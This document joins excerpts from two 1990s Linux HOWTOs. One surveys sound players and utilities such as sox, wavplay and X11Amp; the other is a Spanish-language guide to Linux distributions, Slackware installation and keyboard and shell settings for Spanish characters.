If you have a really fast computer (probably at least a 100Mhz Pentium), then you can try to play MPEG Layer 3 streams directly without having to first convert the audio file to another format like in the following example (this example assumes that you're using sox and playing a 44.1 kHz stereo sample).

$ l3dec foo.mp3 -sto | play -t raw -x -u -w -c 2 -r 44100 -

The number after -r is the sample rate of the audio stream, and the number after -c depends on whether it is mono or stereo (or even quad). If this looks too complicated, you can use something like a shell script or an alias.

This is shareware copyrighted by Fraunhofer-IIS. A demo version for Linux on x86 systems can be obtained from ftp://ftp.fhg.de/pub/layer3. The demo version only converts layer III audio streams.

X11Amp

This beta software is an MPEG audio stream player with a graphical interface, similar to the one used by the Windows program winamp.

There is no copyright mentioned anywhere (I assume that it can be freely used for personal use). It is maintained by Mikael Alm (psy@x11amp.bz.nu), Thomas Nilsson (fatal@x11amp.bz.nu), and Olle Hallnas (crocodile@x11amp.bz.nu).

It can be obtained from X11Amp's homepage. Only binaries for Intel Linux and FreeBSD are made available here.

2.4 WAV

Quote from the sox man page:

These appear to be very similar to IFF files, but not the same. They are the native sound file format of Windows 3.1. Obviously, Windows 3.1 is of such incredible importance to the computer industry that it just had to have its own sound file format.

These usually have the extension .wav.

Also see section sox and bplay for other WAV players besides the ones listed here.

wavplay

This program supports playing and recording with the WAV format. It uses locking so that only one sound may be played at a time. Its locking capabilities can also be used separately from its sound playing capabilities.

In addition to a command-line interface, it also has a Motif interface, which can be used with Lesstif.

It was originally written by Andre Fuechsel (af1@irz.inf.tu-dresden.de), but was evolved to the point of being completely rewritten by Warren W. Gay (bx249@freenet.toronto.on.ca or wwg@ica.net).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/wavplay-1.0.tar.gz.

2.5 Other stuff

This section lists stuff that play sound formats that don't deserve a separate section (i.e. formats that have only one player available), or players that play more than one format.

sox

This program is actually a converter, that is, it converts one sound format to another. However, some versions of sox, when invoked as play, plays the sound (the play application in the Sound HOWTO probably refers to this). It supports raw (no header) binary and textual data, IRCAM Sound Files, Sound Blaster .voc, SPARC .au (w/header), Mac HCOM, PC/DOS .sou, Sndtool, and Sounder, NeXT .snd, Windows 3.1 RIFF/WAV, Turtle Beach .smp, CD-R, and Apple/SGI AIFF and 8SVX formats

Since somewhere in the 1.3.6x kernels, you might have to make a small change in one file to make it play the sound directly. Namely, you may have to change line 179 in sbdsp.c from

if (abuf_size < 4096 || abuf_size > 65536) {

to

if (abuf_size < 1 || abuf_size > 65536) {

But then again, you may not have to do this. But doing this won't break anything.

It is written and copyrighted by many people, and can be used for any purpose.

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/convert/Lsox-linux.tar.gz.

A more recent version by Chris Bagwell (cbagwell@sprynet.com) (based on the latest gamma version of the original sox, and includes the above fix) can be obtained from http://home.sprynet.com/sprynet/cbagwell/projects.html. In addition, this version supports MS ADPCM and IMA ADPCM WAV formats.

bplay

This beta program plays raw audio, WAV, and VOC files. It's also able to record to these files. It uses a variety of techniques to get the highest speed possible so that it can run acceptably even on slow machines. One of these techniques require that the installed programs be setuid root. The paranoid hoping to use this may want to use the Debian package by Ian Jackson (ijackson@gnu.org), which disables the feature that needs the setuid bit.

The author is David Monro (davidm@gh.cs.usyd.edu.au).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/bplay-0.96.tar.gz.

SIDPLAY

This program emulates the Sound Interface Device chip (MOS 6581, commonly called SID) and the Micro Processor Unit (MOS 6510) of the Commodore 64. Therefore it is able to load and execute C64 machine code programs which produce music or sound. In general these are independent fragments of code and data which have been ripped from games and demonstration programs and have been transferred directly from the C64.

It uses a command line interface by default. There are also Tk and QT interfaces available separately from the main package.

It is maintained by Michael Schwendt (sidplay@geocities.com).

It can be obtained from SIDPLAY's home page.

RealAudio Player

This lets you listen to sound, which is stored in a proprietary format, in real time over the Internet without downloading the whole sound file first. It could be used stand alone, but it is really intended to be used along with a web browser (the explicitly supported ones are Mosaic and Netscape). It cannot be used without X (you wouldn't be able to get it working with Lynx in a text console).

However, there exists a hack which allows one to run the RealAudio player from the text console. It requires the X virtual frame buffer (Xvfb) server to work. This hack can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/traplayer-0.5.tar.gz.

This is by Progressive Networks, Inc. This cannot be redistributed, modified etc. Look at the license for exact details on what you can do. It can be obtained by registering with no cost at the RealAudio home page.

cat

One might think what cat, the sometimes overused concatenating utility, has to do with playing sounds. I'll show a use of it through an example.

$ cat sample.voc > /dev/dsp
$ cat sample.wav > /dev/dsp
$ cat sample.au > /dev/audio

Doing a cat of an .au file to /dev/audio will usually work, and if you're lucky enough that the file has the correct byte order (for your platform) etc., a cat of a sound file that uses PCM samples (like .wav or .voc) to /dev/dsp might even sound right.

This isn't a totally useless use of cat. It might be useful, for example, if you have a sound file that none of your programs recognize, and you know that it uses PCM samples, then you might be able to get a very approximate idea on how it sounds like this way (if you're lucky).


The Linux Sound Playing HOWTO: Other useful sound utilities

 Next Previous Contents

3. Other useful sound utilities

This section has nothing to do with the actual playing of sound files. Rather, it is a collection of some sound utilities that one might find useful.

3.1 volume

This is a simple command line interface for controlling the volume (what else could it be?). It also has a separate program with a Tcl/Tk interface included in the package for controlling the volume and playing .au sound files. A very simple Tcl/Tk CD player is also included.

This is Freeware and it is written by Sam Lantinga (slouken@cs.ucdavis.edu).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/soundcard/volume-2.1.tar.gz.

3.2 Sound Studio

This is a Tcl/Tk application that supports playback, recording, and editing of digital sound using sox. It includes sox in the distribution to avoid compatibility problems.

This was written by Paul Sharpe and N. J. Bailey (N.J.Bailey@leeds.ac.uk). It may be freely used and redistributed if a postcard is sent.

It can be found at Sound Studio's home page.

3.3 Tickle Music

This beta Tcl/Tk program is a music file browser that allows you to play various sound formats as long as an appropriate program to play it is on your system. By default gmod is used for playing MOD files and mp for playing MIDI files (you can change the source to use other programs).

It is written and copyrighted by Shannon Hendrix (shendrix@pcs.cnu.edu or shendrix@escape.widomaker.com).

It can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/tmusic-1.0.tar.gz.


The Linux Sound Playing HOWTO: References

 Next Previous Contents

4. References

  1. The documentation included with the applications in this document.
  2. The Linux Sound HOWTO. It can be found at the Linux Documentation Project.
  3. Linux MIDI and Sound Applications
  4. Programmer's Guide to OSS
  5. SoX home page


Spanish Linux HOWTO

Gonzalo.Garcia-Agullo@jrc.es.

v0.1, 20 August 1996

This is the very first issue of the Spanish Linux HOWTO. The target audience of this document is the growing family of Linux users in Spain and Latin America, so this How-To is of course in Spanish. Some non-Spanish speakers have asked for information on Linux in the Spanish environment, for developing software with Spanish support or just to get in touch with the Linux community in Spain. You're welcome in any case...

1. Introducción

  • 1.1 Empecemos por el principio...
  • 1.2 ¿Qué es linux?
  • 1.3 ¿Cómo conseguirlo?
  • 1.4 ¡Socorro! ¿Dónde están los manuales?

2. Distribuciones

3. Ayuda a la instalación de la distribución Slackware

  • 3.1 Instalación con UMSDOS
  • 3.2 Instalación en partición nativa de Linux.

4. Españolización de Linux

  • 4.1 Consola
  • 4.2 Shell bash
  • 4.3 Shell tcsh
  • 4.4 Algunas aplicaciones
  • 4.5 Xwindow
  • 4.6 Emulador de DOS (DOSEMU)
  • 4.7 Correo electrónico

5. Conectividad de Linux

  • 5.1 Conectividad casera
  • 5.2 Servidor de terminales
  • 5.3 Red PPP
  • 5.4 Servidor de modems
  • 5.5 Conexion directa a Internet
  • 5.6 Infovía: acceso a Internet desde casa

6. Direcciones útiles

  • 6.1 Direcciones electrónicas
  • 6.2 Direcciones de Firmas comerciales
  • 6.3 Bibliografía.

7. Copyright


Spanish Linux HOWTO: Introducción

 Next Previous Contents

1. Introducción

1.1 Empecemos por el principio...

Este documento pretende ser el punto de entrada de los hispanohablantes al mundo Linux, intentando abarcar tanto a los principiantes de este apasionante sistema como a los ya iniciados que buscan información puntual. Se tratarán de forma genérica todos los temas que puedan interesar al usuario de Linux, desarrollándolos en castellano o dando referencias a otras fuentes de información en nuestro idioma, así como orientación cuando tenga que acudir a otras HOWTO y en general a cualquier documento en inglés.

Se distribuye integrado con el Linux Documentation Project en todos los foros de información Linux en Internet. Se actualiza periódicamente, pudiendo encontrar la última versión en Linux/España

Notas del autor: Aunque puede ser interesante de por sí, traducir sin más información ya editada en inglés no es el objetivo de este documento, sino más bien servir de base al usuario hispanohablante y divulgar el Linux en nuestro idioma. Una ambición de quien escribe es, desde estas líneas, poner su grano de arena para coordinar los esfuerzos (valiosos pero muy diseminados por la red) de tanto Linuxero como ya hay. Otro objetivo menos pretencioso de este documento es complementar todas las demas Howto's en aquellos aspectos concretos que afecten a los usuarios hispanos (configuración del sistema y de las aplicaciones para trabajar en nuestro idioma, teclados, correo electrónico en español, etc). Un tercer objetivo será servir de agenda actualizada de direcciones españolas dedicadas a Linux, tanto para difusión de las distribuciones originales de software Linux como de desarrollos propios en español que se vayan publicando. Vaya desde aquí mi agradecimiento en esta primera versión para Antonio L. Delgado, compañero de la Facultad de Informática de Sevilla, por prestarse a echar una mano redactando esta Howto en las calurosas tardes de Sevilla.

Cualquier comentario, sugerencia para nuevos contenidos, rectificación de errores, crítica, etc. es no sólo bienvenido sino también esperado. Contacta por correo electrónico para todo lo que quieras.

1.2 ¿Qué es linux?

Linux es una implementación del sistema operativo UNIX (uno más de entre los numerosos clónicos del histórico Unix), pero con la originalidad de ser gratuito y a la vez muy potente, que sale muy bien parado (no pocas veces victorioso) al compararlo con las versiones comerciales para sistemas de mayor envergadura y por tanto teóricamente superiores. Comenzó como proyecto personal del -entonces estudiante- Linus Torvalds, quien tomó como punto de partida otro viejo conocido, el Minix de Andy. S. Tanenbaum (profesor de sistemas operativos que creó su propio sistema operativo Unix en PCs XT para usarlo en su docencia). Actualmente Linus lo sigue desarrollando, pero a estas alturas el principal autor es la red Internet, desde donde una gigantesca familia de programadores y usuarios aportan diariamente su tiempo aumentando sus prestaciones y dando información y soporte técnico mútuo. La versión original -y aun predominante- comenzó para PCs compatibles (Intel 386 y superiores), existiendo también en desarrollo versiones para prácticamente todo tipo de plataformas: PowerPC, Sparc, Alpha, Mips, etc. De todas ellas la más reciente en este momento es la versión para PowerMac (el PowerPC de Apple) basada en el microkernel Mach 3.0 y de la que ya hay una distribución para desarrolladores avalada directamente por Apple y OSF pero conservando el espíritu (gratuito, de libre distribución, etc) de la version original. Un servidor la acaba de probar hace unos días y se ha llevado una grata sorpresa (aún tendrá muuuchos fallos, pero para ser una primerísima versión y el poco tiempo que lleva en marcha, ha avanzado más de lo que me esperaba).

1.3 ¿Cómo conseguirlo?

La primera fuente para conseguir el sistema Linux es la propia red Internet, y es donde estarán siempre las últimas versiones y las aplicaciones más actualizadas en muchos servidores de FTP anónimo. Otra vía muy frecuente, de interés para principiantes y para quienes no deseen o no puedan permitirse copiar tanta cantidad de información a traves de la red, es mediante las versiones comercializadas en CDROM. Hay empresas que se dedican a elaborar CDROMs de bajo coste con recopilaciones de software, manuales, etc. El corazón del sistema es el mismo, aunque pueden tener externamente presentaciones y formas distintas de instalación. Hay revistas especializadas que tambión suelen incluir CDs con alguna versión de Linux. Hacia el final de este documento se relacionan diversas fuentes de Linux, tanto servidores públicos en la red como direcciones de empresas que lo comercializan.

Una ventaja (para muchos usuarios termina siendo un inconveniente) es la gran rapidez con la que se se desarrolla Linux. Constantemente llegan a los principales servidores Linux en la red actualizaciones del núcleo del sistema, de aplicaciones, utilidades, manuales y documentación, etc. Es bueno estar al día, seguir con atención su evolución y aprovechar las mejoras que se incorporen, pero en la mayoría de los casos no vale la pena estar reinstalando software por el simple hecho de ser una nueva versión, sino que hay que ser un poco selectivos, al menos con el software. En el caso de los manuales, How-To's, grupos de noticias y/o listas de correo sí que vale la pena estar "a la última", sobre todo porque es allí donde nos sacarán de apuros cuando agotemos nuestros propios recursos...

1.4 ¡Socorro! ¿Dónde están los manuales?

Como ocurre en todas las versiones de Unix, el primer sitio donde mirar cuando tenga una duda concreta sobre tal comando, fichero de configuración, etc. es la orden 'man', que incluye la ayuda de referencia de Unix. Pero sólo es útil en ese ámbito, cuando ya se sabe más o menos lo se que busca, y sólo se necesita aclarar dudas concretas. Para todo lo demás la mejor fuente de información es, cómo no, la propia red. En ella están disponibles tanto libros completos (de los que algunas editoriales especializadas han publicado versiones en papel) como la colección "Linux HOWTO", de la que este documento forma parte. Hay una HOWTO para prácticamente cualquier tema. Su objetivo es cubrir, mediante manuales breves, concisos y específicos, cualquier duda que pueda surgir. Se actualizan permanentemente, y se distribuyen a través del denominado "Linux Documentation Project" (LDP) en Internet. La misma información se publica en muy diferentes formatos, orientados tanto a la búsqueda y consulta en línea como a su lectura convencional. Todas las versiones de Linux incluyen estos manuales (al menos la última edición disponible en el momento de recopilar el CDROM correspondiente), y al final de este documento se aportan algunas de las muchas direcciones para consultar en la red.


Spanish Linux HOWTO: Distribuciones

 Next Previous Contents

2. Distribuciones

Extracto de la Distributions-HOWTO sobre distintas versiones de Linux. Acuda a ella para ampliar información

El único elemento común a todas las versiones Linux es su kernel -el núcleo del sistema operativo-, que se desarrolla de forma coordinada y con actualizaciones sistemáticas. Sin embargo todo sistema operativo necesita, junto al núcleo del sistema, todo un conjunto de utilidades y herramientas de instalación, configuración y uso. Ahí juegan su papel las diferentes distribuciones: algunos particulares, entidades y empresas se dedican a hacer determinadas recopilaciones de software que ellos mismos preparan para que sean facilmente instalables y configurables. Todas ellas facilitan el software junto a su código fuente, pero la flexible licencia GNU a la que se acojen permite tanto ofrecerlas gratuitamente como distribuirlas por canales comerciales (lo que se paga es el trabajo de recopilación, el software de cosecha propia que pueda aportar, una presentación más elaborada, gastos de distribución y soporte técnico al usuario).

Algunas de las distribuciones más conocidas son:

Slackware

Esta distribucion es quizas de las más extendidas en todo el mundo y la más conocida en España, ya que es la que han divulgado las publicaciones del sector. Incluye con creces todo el software que cualquier usuario medio o avanzado pueda necesitar, y su método de instalación es asequible aunque lejos de las típicas y vistosas instalaciones a las que el usuario neófito esta acostumbrado en los sistemas comerciales. Tiene diversos derivados comercializados bajo diferentes nombres (por ej. "Slackware Pro") que mejoran la instalación e incluyen manuales y bibliografía en un único lote. Esta en todos los FTPs principales, siendo http://www.cdrom.com/ su distribuidor de origen.

Red Hat

Creada por Red Hat Software, en Connecticut, EE.UU. Una de sus ventajas es el atractivo sistema de instalación (en modo gráfico) y el cómodo mantenimiento de componentes de software, lo que facilita enormemente las tan frecuentes actualizaciones. Se puede obtener tanto gratuitamente en la red como adquiriendo el CDROM correspondiente. Otras empresas comercializan también sistemas basados en Red Hat, como Caldera Inc. y Pacific Hi-Tech. Aún poco conocida en Espa–a pero pujante, sobre todo para principiantes. Sus creadores estan en http://www.redhat.com. El mencionado sistema de gestión de componentes de software es obra suya, pero lo han ofrecido con carácter abierto y gratuito a los demás desarrolladores bajo la licencia de GNU, por lo que es previsible que en el futuro otros muchos asuman este sistema en sus propias distribuciones, lo que facilitará enormemente las actualizaciones.

Debian

La Free Software Fundation (FSF) es bien conocida entre los acérrimos usuarios de software gratuito para Unix. Son los creadores del sistema GNU, su futuro Unix gratuito. Ya hay mucho material pero no un sistema operativo completo, asi que mientras tanto ofrecen un Unix integrado por el nucleo de Linux y el software de GNU. http://www.debian.org.


Spanish Linux HOWTO: Ayuda a la instalación de la distribución Slackware

 Next Previous Contents

3. Ayuda a la instalación de la distribución Slackware

Este es un extracto de la Installation-HOWTO, orientada fundamentalmente a la instalación de Linux Slackware. Mucha de la información sobre instalacion de Slackware es aplicable a cualquier versión de Linux, pero no necesariamente al pie de la letra.

Aparte de otras muchas variantes que se puedan considerar, a la hora de instalar Linux en nuestro disco duro hay básicamente dos formas: UMSDOS y Partición nativa. Cada una tiene sus ventajas e inconvenientes, pero como se verá es recomendable que todos los usuarios terminen usando el segundo método ya que es el más eficiente y el que mejor aprovecha las ventajas de Linux.

3.1 Instalación con UMSDOS

Consiste en aprovechar el espacio de disco que queda libre en los PCs con MSDOS, sin necesidad de tocar las particiones de disco. Linux es un sistema operativo, y como tal totalmente independiente, no requiriendo por tanto ningun otro sistema operativo en su ordenador (aunque puede convivir perfectamente con ellos). Sin embargo es un parque muy amplio el de usuarios que ya tienen instalado MSDOS y/o MS-Windows y que, al no considerase expertos, no se atreven en un primer momento a reparticionar el disco para sustituir total o parcialmente a su sistema actual. Para ellos, o simplemente para quien quiera ver y probar Linux sin ser tan drasticos formateando discos duros, la solución es UMSDOS. Permite crear, a partir de un directorio de MSDOS, toda la estructura que tendría un disco nativo de Linux. Cuando arranque el sistema, Linux emulará su disco a partir de la información en ese directorio. Es totalmente funcional, pero puede ser ligeramente más lento en ordenadores de gama media-baja y no aprovecha la gestión de disco nativo. Una gran ventaja es que si se libera disco en Linux, implícitamente estamos creando espacio que será aprovechable cuando arranquemos MSDOS, y viceversa. Además, el día que queramos deshacernos de Linux (¡poco probable!) o que simplemente nos decidamos a hacer una instalación completa, desinstalar ese Linux es tan sencillo como simplemente borrar sin contemplaciones el directorio C:\LINUX que creó desde MSDOS.

3.2 Instalación en partición nativa de Linux.

Salvo la fase inicial en la que se preparan las particiones nativas o el UMSDOS, el procedimiento restante de instalación es básicamente el mismo. Ya que puede ser el que provoque más dudas, centraremos estos consejos de instalación en la instalación con partición nativa. Pero recuerde que

   ESTO NO ES UNA GUIA DE INSTALACION, SINO UN COMPLEMENTO A LAS
   INTRUCCIONES DE INSTALACION DE SU VERSION DE LINUX.

   LEA LA INSTALLATION-HOWTO Y/O EL MANUAL QUE ACOMPAñA A SU DISTRIBUCION
   ANTES DE COMENZAR, O DE LO CONTRARIO PUEDE FALLAR LA INSTALACION E
   INCLUSO INUTILIZAR EL SOFTWARE QUE PUEDA TENER YA INSTALADO EN SU
   ORDENADOR.

   LA DISTRIBUCION TOMADA COMO BASE ES LINUX SLACKWARE 3.0. EL PROCEDIMIENTO
   PUEDE VARIAR DE UNAS VERSIONES A OTRAS. EN CASO DE DUDA ACUDA A LOS
   MANUALES DE SU SISTEMA O CONSULTE A LOS CANALES DE AYUDA Y SOPORTE LINUX
   HABITUALES (EN INTERNET O A SU DISTRIBUIDOR)

   LOS AUTORES DE ESTA DOCUMENTACION NO SE RESPONSABILIZAN DE LOS POSIBLES
   DESASTRES QUE PUEDA OCASIONAR. SI DECIDE CONTINUAR ES BAJO SU EXCLUSIVA
   RESPONSABILIDAD. (Nos gusta dormir tranquilos ;^) )

Preliminares

En esta instalación es necesario que LINUX disponga de una partición distinta a la de MSDOS para trabajar. Si ya tiene algún sistema instalado, lo más frecuente es que sea una única partición DOS que ocupe todo el disco, por lo que reparticionar supone eliminar esa partición para volver a crearla asignándole menos disco para hacer sitio a Linux (o para dárselo totalmente, según la instalación escogida). Eso supone perder como norma general todos los datos en las particiones ya existentes.

Existe, sin embargo, una utilidad anexa a Linux que corre sobre MSDOS y que permite "encoger" una partición de DOS siempre que la unidad tenga espacio libre y haya sido totalmente defragmentada (con la utilidad "DEFRAG" de MSDOS 6.x o similares). Esto le permitirá crear nuevas particiones conservando sus datos en la partición MSDOS actual. Esta utilidad se llama "fips" y la encontrará en su servidor habitual en la red junto a otras utilidades de MSDOS para ayudar a la instalación de Linux.

LEA LA DOCUMENTACION DE FIPS ANTES DE UTILIZARLO.

Primero debe liberar en MSDOS el espacio que pretenda reservar para la nueva partición de Linux (y para el espacio de swap, como después se comentará). Después debe defragmentar la partición de DOS con la utilidad "defrag" que acompaña a las últimas versiones de DOS, o bien sus equivalentes de PCTools o Norton. Ahora puede correr el programa fips y crear una nueva partición con el espacio liberado. Lo habitual será crear dos particiones: una Linux native para el sistema, y una Linux swap con por ej. el doble que de RAM, pero en caso de necesidad incluso puede ahorrarse una partición específica para swap, y "robar" ese espacio de disco bien a MSDOS o al propio Linux.

Formateo de la partición.

Una vez añadida la nueva partición que destinaremos a Linux, hay que preparar la siguiente etapa, el arranque de Linux, ya que salvo el apartado anterior en el que salvaguardamos la instalación previa de MSDOS, toda la instalación se hará desde el propio Linux. Para arrancar necesitaremos dos disquetes (en algunas distribuciones como RedHat pueden ser tres), donde grabaremos tanto el núcleo del sistema operativo como los primeros programas con los que poder empezar a instalar. El primer disquete es el que etiquetaremos como "boot disk", y es donde irá el núcleo del sistema con el que arrancar. Como Linux es casi un sistema "a la carta", que puede llevar en el núcleo más o menos funcionalidades según nuestras necesidades, deberemos escoger entre los núcleos precompilados aquel que se adapte mejor a nuestro caso. En el futuro será recomendable que incluso recompilemos nuestro propio núcleo para personalizarlo aún más, añadir lo que falte y simplificar lo que sobre en nuestro caso. El siguiente disquete es el "root disk" o "ramdisk", que incluye el software mínimo que cargaremos en memoria para la instalación.

En la distribución de Linux tendremos una serie de ficheros que constituyen "imágenes" de esos disquetes. Es decir, una vez elegidas qué diquetes necesitaremos, los crearemos a partir de esas imágenes, bien desde otro sistema Linux ya funcionando (o incluso de cualquier Unix en general), bien desde MSDOS con otra utilidad complementaria de "fips": "rawrite".

Una vez hecho esto ya puedes arrancar con tus discos. Introduce el "boot disk", arranca el ordenador y sigue sus instrucciones. Cuando finalice la fase de arranque Slackware te ofrecerá un símbolo para hacer "login" (entrar en el sistema), mientras que RedHat arrancará directamente la aplicación de instalación. Utiliza el nombre "root" como nombre de usuario (es el super-usuario que administra el sistema). La primera vez no necesitarás clave alguna para entrar.

Ya estas en el prompt de Linux, desde donde puedes crear tus particiones y tu espacio de swap (es una zona especial de disco que Linux usa como memoria virtual que complementa a la memoria RAM del ordenador). Al igual que en MSDOS, el comando para gestionar particiones se llama "fdisk". En algunas versiones hay también una "cfdisk" con un interfaz más asequible, aunque iguales en lo básico.

Si posees una partición de MSDOS, no te asustes, sigue adelante, no la vas a perder simplemente por entrar en fdisk, pero sí que debes tener precaución al añadir la partición linux sobre el espacio que le habíamos quitado a MSDOS, para no afectar a éste.

Dentro de fdisk usa la opción 'n' para añadir nuevas particiones. Dalas de alta como particiones primarias (si ya tienes una particion de arranque con MSDOS, ésta será la partición 1 y a partir de ahí añadirás particiones Linux). Es ahora el momento de añadir el espacio de swap, conveniente siempre, e incluso imprescindible si se dispone de memoria igual o inferior a 8Mb. Como regla orientativa puede servir tener el doble de swap que RAM (para 8Mb o menos de RAM), y 1.5 veces para memorias superiores, pero depende de la disponibilidad de disco y de memoria que tengamos, así como del uso que le vayamos a dar. En realidad será tu experiencia la que te irá diciendo en sucesivas instalaciones cuánto swap necesitas. En caso de disponer de más de un disco duro es muy recomendable tener separadas las particiones de linux y de swap (por ej. DOS+swap en uno y linux en el otro), lo que mejorará el rendimiento global.

Una vez creadas las particiones, hay que definir también en fdisk el uso que van a tener (tipo de partición), siendo obviamente "linux swap partition" (tipo 83) para el swap, y "Linux native partition" para el propio linux. Al final, y siguiendo con este ejemplo, tendrás tres particiones definidas:

  • MSDOS, marcada como "activa", con el arranque.
  • Linux swap.
  • Linux Native, donde residirá el linux.

NO TENGAS MIEDO POR TOCAR Y PROBAR: HASTA QUE NO USES LA OPCION DE ESCRIBIR A DISCO, PUEDES HACER TODO TIPO DE PRUEBAS Y/O CANCELARLO TODO HASTA ESTAR SEGURO Y GRABAR LA NUEVA TABLA DE PARTICIONES.

Es probable que haya que rearrancar si modificamos las particiones, y continuar con el software de instalación de nuestro Linux. En el caso de Slackware, ese software de instalación ya necesita al menos 8Mb de memoria, por lo que si estamos justos de memoria tendremos que activar ya mismo el swap antes de ejecutarlo. Si ese es el caso, hay que hacerlo en dos pasos: formatear la partición de swap y luego activarla para que empiece a complementar la RAM. Los comandos serían

  mkswap -c /dev/hdXX
  swapon /dev/hdXX

donde /dev/hdXX sería el nombre de la partición que hemos definido como swap. Una vez hecho esto, Slackware ya aporta una utilidad de instalación que detectará las particiones creadas y procederá con el resto de la instalación con la aplicación "setup", que nos guiará durante toda la instalación con un sencillo interfaz de menús, que no requiere muchas explicaciones. Durante una de las etapas de la instalación Setup intentará preparar el swap. Si lo hemos hecho ya a mano habrá que indicarle que se lo salte, mientras que en el resto de los casos dejaremos que setup haga todo lo que tenga que hacer.

Instalación de los discos.

Slackware divide la distribución del sistema operativo en "series" temáticas, y a su vez cada una de ellas en directorios que se corresponden perfectamente con disquetes de 1.44Mb. Los discos esenciales serían los de la "Serie A", con los que el sistema ya es arrancable autónomamente desde el disco duro, aunque en la práctica lógicamente instalaremos también la "AP" (aplicaciones básicas), "N" (software de red, si vamos a conectarnos con cualquier modalidad), "D" (compiladores y librerías), "X" y "XAP" para el entorno gráfico XFree86.

Por su parte RedHat organiza el software también en "paquetes" instalables de forma independiente y también agrupados por temas, aunque no sigue ningún esquema traducible en disquetes, por lo que las únicas vías de instalación son CDROM o directamente de la red.

Configuración

Una vez cargados a disco los paquetes de software, la siguiente fase será la de configuración, que se realiza desde el mismo programa de setup. Como esta parte es muy variable y depende de cada caso. Nos centraremos en dos puntos típicamente problematicos: el arranque del sistema (incluida la posibilidad de arrancar múltiples sistemas operativos desde distintas particiones o distintos discos) y la configuración de red

Para instalar un método de arranque de Linux hay dos utilidades: "Lilo" y "Loadlin". La primera es un pequeño programa que se instala en el "Master boot record" del disco duro o en la partición que fdisk marcó como "activa", y que permite arrancar indistintamente Linux, DOS 6.x, Windows95, etc. La segunda es una utilidad de MSDOS que permite dejar en paz los arranques de particiones, haciendo en su lugar un "arranque en caliente" directamente desde DOS. Ambos funcionan bien, por lo que elegir una u otra es cuestión de preferencias de cada cual. En el segundo caso podrí darnos algún error si hubiera algún programa de DOS residente en memoria que pueda obstaculizar la carga de Linux. Eso es relativamente facil de solucionar jugando un poco con las configuraciones de DOS (incluso con los menus de arranque que incorpora el config.sys de MSDOS 6.x), pero incluso en ese caso podemos encontrarnos dos obstaculos mas: si tenemos instalado DoubleSpace/Drivespace hay que evitar que se cargue en memoria pulsando F8 durante el inicio de DOS para poder ejecutar Loadlin (no hay otra forma de pararlo ya que normalmente se carga incluso antes que config.sys), y ademas si usamos Windows95 hay que pulsar igualmente F8 para arrancar con solo el símbolo del sistema, evitando entrar en el modo gráfico.

Linux puede convivir con cualquier sistema operativo, pero unos dan mas dolores de cabeza que otros, por lo que en caso de duda acude a la documentación correspondiente (la de instalación de la propia distribución y la Booting-HOWTO. De todas formas, si una vez instalado Linux no conseguimos arrancarlo (sabemos que está ahí pero no conseguimos entrar en él), siempre queda un recurso asequible: introduce el "boot disk" y en vez de darle a INTRO cuando te aparezca un simbolo "boot", teclea root=dev/XXXX/ indicando que ya hay un Linux en la partición correspondiente, y que debe usarlo en vez de continuar con una hipotética instalación. Lo único diferente es que se estaría usando el núcleo (kernel) del disquete en vez del instalado en el disco duro, pero a partir de ahí montará la partición del disco duro y usará todo lo ya instalado allí.

Otro problema frecuente (solventado en la última version de RedHat pero no aún en Slackware) es que graba en el disco duro un núcleo genérico en vez del que hayamos usado en el "boot disk", que era precisamente el que habíamos elegido, por lo que es habitual que, si necesitamos algún controlador específico para algún dispositivo o cualquier otra funcionalidad, cuando arranquemos directamente desde el disco duro ya no nos lo reconocerá. Si estamos usando LILO haz lo siguiente para arreglarlo: entra como superusuario, copia la imagen que habias usado para generar el "boot disk" sobre el fichero "/vmlinuz" del disco duro y ejecuta "lilo" para reinstalar el arranque con el núcleo correcto. Si estas usando LOADLIN, simplemente dale como parámetro el fichero del núcleo correcto (es facil tener varios núcleos y elegir en cada caso el que interese). Seguir arrancando con el disquete como en el caso anterior sería también otra posibilidad para no perder ese CDROM, esa tarjeta, etc.


Spanish Linux HOWTO: Españolización de Linux

 Next Previous Contents

4. Españolización de Linux

Uno de los aspectos más molestos es no poder escribir con naturalidad en nuestro idioma por falta de soporte de los caracteres especiales en el software. El juego de caracteres básico de ASCII es de 7 bits, y no incluye ni las vocales acentuadas ni nuestra maltratada 'ñ'. Hay una norma ISO-8859-1 (ó ISO-Latin1) que sí que abarca todos los caracteres pero que sigue dando la lata en muchas tareas habituales, como el correo electrónico (muchos sistemas solo respetan 7 bits, por lo que textos que podemos ver correctamente en nuestro ordenador probablemente se visualizarán de forma lamentable cuando los enviemos a otra persona. A continuación se mencionan algunas de las situaciones más frecuentes y cómo intentar solucionarlas.

4.1 Consola

...O cómo demonios poder usar acentos en nuestro propio ordenador

Mediante el comando loadkeys se cargan las tablas de traducción del teclado. Estas tablas traducen los códigos que se generan al pulsar las teclas a los que reciben los programas. Los ficheros que contienen estas tablas de traducción se encuentran en el directorio /usr/lib/kbd/keytables/ y el fichero que contiene el mapeado del teclado español se denomina es.map. Su objetivo es que si pulsamos una determinada combinación de teclas, aparezca en pantalla el carácter que tenemos pintado en nuestro teclado, y no su equivalente en el teclado que se usa en cualquier otro país.

La llamada a este comando suele ser de la forma siguiente, que aparecerá en el arranque por defecto (en Slackware estaría en/etc/rc.d/rc.keymap):

loadkeys /usr/lib/kbd/keytables/es.map

Nota del autor: A igual configuración de teclado, más de una vez me han fallado los acentos por recompilar el núcleo, pero en el momento de escribir estas líneas aún no he visto la causa...

4.2 Shell bash

Para que la bash soporte el uso de vocales acentuadas asi como de la letra ñ basta con incluir las siguientes líneas en un fichero .inputrc (o al menos en .bash_profile) en tu $HOME:

set meta-flag on                # conservar bit 8 en entrada de teclado
set output-meta on      # conservar bit 8 en salida por terminal
set convert-meta off    # no convertir secuencias de escape

export LC_CTYPE=ISO_8859_1

4.3 Shell tcsh

Para que la tcsh soporte el uso de vocales acentuadas asi como de la letra ñ basta con incluir las siguientes líneas en un fichero .tcshrc (o al menos en .login) en tu $HOME:

setenv LANG C
setenv LC_CTYPE "iso_8859_1"

4.4 Algunas aplicaciones

Sería excesivamente largo detallar todas las posibilidades para trabajar con caracteres de 8 bits en todas las aplicaciones, utilidades, comandos del sistema, etc. Aquí van algunos ejemplos:

Editor joe

Joe tiene un parámetro -asis para que conserve los caracteres de 8 bits.

less

